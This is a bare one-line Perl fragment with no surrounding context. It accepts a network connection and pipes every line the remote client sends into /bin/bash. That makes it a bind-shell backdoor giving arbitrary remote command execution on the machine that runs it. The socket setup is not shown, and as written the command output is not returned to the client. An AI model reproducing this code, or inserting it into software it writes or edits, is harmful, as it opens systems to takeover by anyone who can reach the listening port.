my $new_sock = $sock -> accept(); while(<$new_sock>) { $x = $_; open(IN," |/bin/bash") or die (); print IN $x; close IN; }